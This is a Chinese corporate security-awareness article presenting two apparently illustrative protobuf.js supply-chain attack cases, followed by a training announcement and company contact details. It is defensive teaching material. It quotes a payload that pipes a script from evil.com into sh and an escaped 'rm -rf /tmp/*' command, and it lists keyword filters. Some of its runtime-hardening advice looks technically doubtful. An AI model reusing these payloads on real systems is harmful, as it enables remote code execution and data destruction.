头脑风暴——如果你在公司内部的 CI/CD 流水线里,悄悄混入了一段看不见的“代码”,它可以在编译阶段直接生成恶意函数、甚至在生产环境里自行植入后门,你会怎么做?如果这段“代码”并非来自外部攻击者,而是内部某个开源依赖的隐藏缺陷,那么问题就更棘手了。基于近日公开的 protobuf.js 系列漏洞(CVE‑2026‑44289~CVE‑2026‑44295),我们挑选了两起典型且极具教育意义的安全事件案例,借以展开深度剖析,帮助全体职工在信息化、无人化、数据化深度融合的今天,树立全链路安全思维。

案例一:供应链攻击——“伪协议”变成 RCE 里程碑
背景
某国内大型金融机构在其微服务架构中大量使用 gRPC 与 Google Cloud Pub/Sub,底层数据序列化全部采用 Protocol Buffers(以下简称 Protobuf)。在其 CI 流水线中,开发者通过 protobuf.js(版本 7.5.5)自动生成序列化/反序列化代码,以提升开发效率。该机构的代码审计团队对依赖库的安全性认识不够,认为 protobuf.js 只负责“数据压缩”,并未将其列入安全审计范围。
攻击链
-
前期渗透:黑客在公开的 GitHub 仓库中提交了一个恶意的 protobuf schema 文件,文件名为
evil.proto,内容中加入了特殊的字段名__proto__,并在字段注释里写入function(){require('child_process').exec('curl http://evil.com/payload|sh')}。 -
供应链注入:因该机构的 CI 自动拉取所有
*.proto文件并使用pbjs生成对应的 JavaScript 编码器,黑客通过内部漏洞(如不严格的审计规则)让该恶意 schema 通过了代码审查,进入了主分支。 -
代码生成阶段:
protobuf.js的代码生成器会将 schema 中的每个字段名直接拼接进 Function 构造函数中,形成类似new Function("return function encode_(msg){...}")的代码。由于没有对字段名进行白名单校验,恶意注入的__proto__字段名被当作合法标识符嵌入生成函数体,随即在 Node.js 运行时被 执行。 -
执行与植入:当微服务启动时,自动生成的编码器被加载,恶意代码随即执行,下载并运行了攻击者托管的恶意脚本,实现了 远程代码执行(RCE),并进一步窃取了内部数据库凭证。
-
后期扩散:攻击者利用窃取的凭证向公司内部的 Kubernetes 集群注入后门容器,形成持久化。由于公司未对容器镜像进行签名校验,恶意容器在数天内悄然扩散,导致数百台关键业务服务器被入侵。
影响评估
- 业务中断:核心支付服务宕机 4 小时,直接损失约 1500 万人民币。
- 数据泄露:约 2.3 万笔客户交易记录被外部服务器同步。
- 合规风险:违反《网络安全法》及《个人信息保护法》关于数据安全的规定,面临监管处罚。
防御要点
| 步骤 | 关键措施 |
|---|---|
| 依赖管理 | 使用 SBOM(Software Bill of Materials) 明确记录所有第三方组件;对 protobuf.js 等序列化库进行 CVE 监控。 |
| 代码审计 | 对 proto 文件实施 静态检测(例如通过 protostuff 或自研 lint 工具),禁止出现 __proto__、prototype 等关键字。 |
| 编译安全 | 替换 new Function 动态代码生成方式,改为 预编译模板;或在 Node.js 启动时禁用 --allow-natives-syntax。 |
| CI/CD 保险箱 | 引入 签名验证(Cosign、Sigstore)确保所使用的依赖包未被篡改;在流水线中加入 SCA(软件组成分析) 步骤。 |
| 运行时防护 | 启用 Node.js 的 --experimental-modules 并配合 containerization,限制容器的网络与文件系统权限(Least Privilege)。 |
经验教训
- “数据即代码” 的概念在现代微服务环境尤为真实,任何可以被解析为执行内容的元数据,都必须视为潜在的攻击载体。
- 供应链安全 不是硬件或网络层面的独立问题,而是一条 全链路,从库的下载、构建、部署到运行,每一步都可能被植入“隐形炸弹”。
- 主动披露 与 快速响应 能显著降低损失。该机构在发现异常后 6 小时内启动应急响应,避免了更大规模的横向渗透。
案例二:AI 训练平台的“协议污点”——数据湖中潜伏的代码片段
背景
一家 AI 初创公司搭建了内部 数据湖,用于存储从合作伙伴、公开数据集到自有业务系统的上百 TB 结构化数据。为了统一数据格式,他们在数据入口层统一使用 protobuf.js 进行 schema‑driven 的序列化与反序列化。公司内部的自动化 模型训练 pipeline 每天会抓取最新的 protobuf 消息进行特征提取,并在 Jupyter Notebook 中以 Python 调用 Node.js 子进程来解析数据。
攻击链
-
上传恶意文件:攻击者通过公开的 API 接口(未进行身份验证)向数据湖上传了一个精心构造的 protobuf 消息文件。该文件的 metadata 中嵌入了
proto一级字段payload,其值为"\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e(){require('child_process').execSync('rm -rf /tmp/*')}"。 -
特征提取阶段:训练 pipeline 的 Node.js 解析器在读取该文件时,依据 CVE‑2026‑44291(代码生成缺陷)对 schema 进行动态函数拼装。由于
payload字段被误认为是合法的 message type,其内容被直接写入new Function中。 -
代码执行:当 Node.js 子进程执行
pbjs编译该 schema 时,恶意函数被嵌入生成的 JavaScript 文件,并在随后的require过程中被执行,导致 临时文件目录被清空,进而中断了整个模型训练任务。 -
连锁反应:模型训练失败触发了 自动重试 机制,导致同一恶意文件被多次解析,累计删除了数十 GB 的重要中间产出文件。更严重的是,攻击者在同一文件中植入了 后门脚本,使得后续任何使用该 schema 的服务都可能被植入持久化恶意代码。
影响评估
- 研发停摆:关键的图像识别模型训练被迫中止,导致产品迭代延迟 2 周,直接影响了 1 亿元的融资进度。
- 数据完整性:重要的 实验日志 与 特征库 被删除,无法恢复,需重新采集与清洗,成本约 300 万人民币。
- 安全声誉:合作伙伴对数据湖的安全性产生疑虑,部分数据共享协议被迫终止。
防御要点
| 步骤 | 关键措施 |
|---|---|
| 接口防护 | 对所有上传入口启用 身份验证(OAuth2.0)与 文件签名校验;对上传的 protobuf 消息进行 结构化白名单 检查。 |
| 运行时沙箱 | 在解析 protobuf 时使用 Node.js VM 沙箱或 Docker 限制系统调用,避免 new Function 直接执行。 |
| 元数据过滤 | 针对 metadata、options 字段实施 正则过滤,禁止出现 function、eval、prototype 等关键字。 |
| 监控告警 | 对 文件系统操作(如 rm -rf)进行 实时审计,一旦异常立即触发 自动回滚 与 告警。 |
| 供应链硬化 | 在项目中使用 protobuf.js 8.0.2 及以上版本,移除 Function 动态生成路径;如业务允许,可改用 Google 官方的 protobuf C++/Java 实现。 |
经验教训
- 数据湖不等于安全湖:在大数据与 AI 交叉的场景里,数据本身往往携带 执行逻辑,必须对 结构化元数据 实施严格的 安全剖析。
- AI 训练链路 常常跨语言、跨平台,单点安全失效会导致 全链路失效,因而需要 跨语言的统一安全策略(如统一使用 Open Policy Agent 进行策略下发)。
- 对 异常行为(如频繁的临时文件删除)建立 行为基线,配合 机器学习异常检测,能够在攻击早期预警。
迈向全链路防御的三个维度
在上述两个案例中,攻击者利用了 “数据即代码” 的核心漏洞:在可信环境中引入不可信的元数据。这正是当下信息化、无人化、数据化融合发展的隐蔽风险。要把这种风险消灭在萌芽阶段,必须从 技术、流程、文化 三个维度同步推进。
1. 技术维度——硬化每一层的“边界”
- 依赖可视化:利用 SBOM(软件材料清单)与 SCA(软件组成分析)工具,实时追踪 protobuf.js、grpc-node 等关键组件的版本与漏洞状态。
- 安全的代码生成:抛弃
new Function、eval等不安全的运行时代码生成方式,改为 预编译模板 或 AST(抽象语法树) 转译。 - 最小化特权:在容器化部署时,使用 PodSecurityPolicy、AppArmor、Seccomp 限制进程对系统资源的访问,防止即使 RCE 成功也无法取得关键权限。
- 运行时防护:部署 WAF、入侵防御系统(IPS) 与 主机行为监控(HIDS),对异常的系统调用、文件操作进行实时阻断。
2. 流程维度——把安全嵌入开发生命周期(DevSecOps)
- 静态检查:在代码提交阶段加入 proto‑lint、schema‑validation,对所有
.proto文件进行 命名规则、字段类型 检查。 - 动态测试:通过 Fuzzing 对 protobuf 解析器进行 模糊测试,覆盖可能的异常输入路径。
- 持续监测:在 CI/CD 流水线中加入 安全审计 步骤,针对每一次 依赖升级 都进行 漏洞扫描 与 回归测试。
- 快速响应:制定 漏洞响应流程(CVE 发现 → 版本评估 → 补丁发布 → 回滚方案),并在内部推行 红蓝对抗 实战演练。
3. 文化维度——让安全成为每个人的自觉行为
“防患于未然,未雨绸缪。”
——《后汉书·刘表传》
企业的安全防护不是安全部门的专属职责,而是 全体员工的共同使命。我们需要:
- 安全意识渗透:通过案例教学(如本文所述的两起真实或模拟攻击),让每位技术人员都能直观感受到“看不见的进攻点”。
- 安全奖励机制:对在代码审查、漏洞报告、风险排查中表现突出的员工,设立 安全之星 表彰,形成正向激励。
- 跨部门协作:安全团队与研发、运维、产品、合规部门保持 信息共享 与 联动响应,形成 闭环 的安全治理体系。
呼吁全员参与:即将开启的《信息安全意识提升培训计划》
为进一步提升全员的安全素养,亭长朗然科技(以下简称公司)将在 2026 年 7 月 15 日正式启动 信息安全意识提升培训,为期 两周,包括以下核心模块:
| 模块 | 目标 | 形式 |
|---|---|---|
| 基础篇:信息安全概念与日常防护 | 让非技术同事了解密码管理、钓鱼防范、数据分类等基本要点 | 在线微课 + 案例互动 |
| 进阶篇:开发者安全实践 | 深入讲解依赖管理、供应链安全、代码审计、动态分析 | 现场实战工作坊(含 protobuf 漏洞复现) |
| 管理篇:合规与风险评估 | 让业务、合规、法务了解《网络安全法》《个人信息保护法》对应要求 | 讲座 + 场景演练 |
| 应急篇:安全事件响应流程 | 构建统一的事件上报、快速处置、复盘闭环体系 | 案例研讨(包括本篇中提到的两起攻击) |
培训亮点
- 案例驱动:每个模块均围绕 真实攻击链(如 protobuf.js 漏洞链)展开,帮助学员在“情境化”中掌握防护技巧。
- 实战演练:提供 可控的靶场环境,让开发者亲手触发并修复漏洞,体会从 发现 → 分析 → 修复 → 验证 的完整流程。
- 全员覆盖:不论是 研发、运维、数据科学、产品还是行政,均有对应的学习路径,确保每位员工都有所收获。
- 后续跟踪:培训结束后,通过 安全问卷 与 行为监测 评估学习效果,针对薄弱环节提供 再培训 与 辅导。
参与方式
- 登录公司内部 Learning Management System(LMS),在 “培训报名” 页面选择对应模块,填写报名信息。
- 完成报名后,系统将自动推送 学习链接 与 预习材料,请于 7 月 10 日 前完成预习,以便在课堂上进行互动讨论。
- 培训期间,请务必 准时参加,并在 培训结束后 提交 学习心得,公司将对优秀心得进行 内部分享 与 奖励。
“知而不行,犹如坐井观天;行而不思,乃是盲人摸象。”
——《左传·僖公二十三年》
让我们携手把 “隐形炸弹” 从代码库、数据流、供应链中彻底清除,用 安全意识 炼成坚不可摧的铁壁,用 技术防线 铸就企业的护城河。信息安全不止是技术,更是每一位同事的自觉行为,只有全员参与,才能让我们的业务在数字化浪潮中稳步前行、扬帆远航。
让安全成为习惯,让防护成为文化。
从今天起,给自己、给团队、给公司,点燃一盏安全之灯!

信息安全意识提升培训计划,期待与你共创安全未来。
随着数字化时代的到来,信息安全日益成为各行业关注的焦点。昆明亭长朗然科技有限公司通过定制培训和最新技术手段,帮助客户提升对网络威胁的应对能力。我们欢迎所有对信息安全感兴趣的企业联系我们。
- 电话:0871-67122372
- 微信、手机:18206751343
- 邮件:info@securemymind.com
- QQ: 1767022898


